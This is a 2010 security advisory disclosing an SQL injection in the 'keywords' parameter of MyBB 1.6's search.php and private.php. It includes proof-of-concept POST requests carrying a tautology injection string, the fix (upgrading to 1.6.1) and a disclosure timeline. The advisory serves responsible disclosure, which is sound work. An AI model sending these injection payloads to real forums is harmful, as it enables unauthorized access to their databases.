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MyBB 1.6 <= SQL Injection Vulnerability
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1. OVERVIEW
Potential SQL Injection vulnerability was detected in MyBB.
2. APPLICATION DESCRIPTION
MyBB is a free bulletin board system software package developed by the
MyBB Group.
It's supposed to be developed from XMB and DevBB bulletin board applications.
3. VULNERABILITY DESCRIPTION
The "keywords" parameter was not properly sanitized in /private.php
and /search.php which leads to SQL Injection vulnerability.
Full exploitation possibility is probably mitigated by clean_keywords
and clean_keywords_ft functions in inc/functions_search.php.
4. VERSIONS AFFECTED
MyBB 1.6 and lower
5. PROOF-OF-CONCEPT/EXPLOIT
=> /search.php
POST /mybb/search.php
action=do_search&forums=2&keywords='+or+'a'+'a&postth
read=1
=> /private.php
POST /mybb/private.php
my_post_key=&keywords='+or+'a'+'a&quick_search=Search+PMs
&allbox=Check+All&fromfid=0&fid=4&jumpto=4&action=do_stuff
6. SOLUTION
Upgrade to 1.6.1
7. VENDOR
MyBB Development Team
http://www.mybb.com/
8. CREDIT
http://d4wfl1n.nyubicrew.us/2010/12/mybb-16-sql-injection-vulnerability.html
This vulnerability was discovered by D4wFl1N
9. DISCLOSURE TIME-LINE
2010-12-09: notified vendor
2010-12-15: vendor released fixed version
2010-12-25: vulnerability disclosed
10. REFERENCES
Original Advisory URL:
About MyBB: http://www.mybb.com/about/mybb
#D4wFL1N [25-12-2010]
Sabtu, 25 Desember 2010
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